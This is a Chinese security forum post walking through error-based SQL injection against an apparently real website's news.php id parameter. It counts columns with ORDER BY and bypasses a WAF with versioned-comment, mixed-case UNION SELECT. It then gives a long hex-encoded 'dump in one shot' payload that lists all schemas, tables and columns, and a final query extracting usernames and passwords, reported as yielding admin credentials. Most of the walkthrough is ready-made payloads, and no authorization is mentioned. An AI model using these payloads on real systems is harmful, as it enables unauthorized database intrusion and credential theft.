安全矩阵

 找回密码
 立即注册
搜索
查看: 4337|回复: 0

项目实战 | 报错SQL注入绕过WAF

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-28 09:25:42 | 显示全部楼层 |阅读模式
原文链接:项目实战 | 报错SQL注入绕过WAF

报错的存在
一个有趣的点:http://domain.com/xxx/news.php?id=xxx
打开URL时,遇到了MySQL错误。

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27


访问端点时出现MySQL错误
我们知道可以执行一些基于布尔的查询来利用这个报错注入,让我们开始利用。

分析网站利用方式
当我输入单引号时,导致报错

通过使用ORDER BY查询来获取列数

ORDER BY查询查找列数
查询将同时具有布尔值ORDER BY查询,确保不会显示任何错误。
http://domain.com/xxx/news.php?id=13 AND 0 order by 1 --

我们尝试将列数增加1,直到出现第二个错误
?id=13 AND 0 order by 1 --(shows 1 error)
?id=13 AND 0 order by 2 -- (shows 1 error)
?id=13 AND 0 order by 3 -- (shows 1 error)
?id=13 AND 0 order by 4 -- (shows 1 error)
?id=13 AND 0 order by 5 -- (shows 1 error)
?id=13 AND 0 order by 6 -- (shows 2 errors)
当我们尝试找到第6列时,将显示两条错误消息。因此,这意味着数据库只有5列。
http://domain.com/xxx/news.php?id=13 AND 0 order by 6 --


尝试找到第6列时出现报错

绕过WAF
使用UNION SELECT查询来进行注入
http://domain.com/xxx/news.php?id=13 AND 0 union select 1,2,3,4,5 --

好家伙,有waf
尝试对union select进行编码
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5 --
成功绕过WAF

但是页面并没有回显,所以我们要养成查看前端源代码的习惯

看到数字2和3。,现在我们必须专注于这两个专栏。在这种情况下,我将尝试第二列。
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5 --

尝试注入DIOS有效负载,DIOS为我们所面对的SQL创建了一个很好的表示形式。我使用的DIOS有效负载是为使用0xHEX转换/*!00000进行字符串Bypass

  1. id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 --
复制代码



找到username和password
​​
  1. id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5 --
复制代码

得到管理员的账号密码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 13:55 , Processed in 0.017120 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表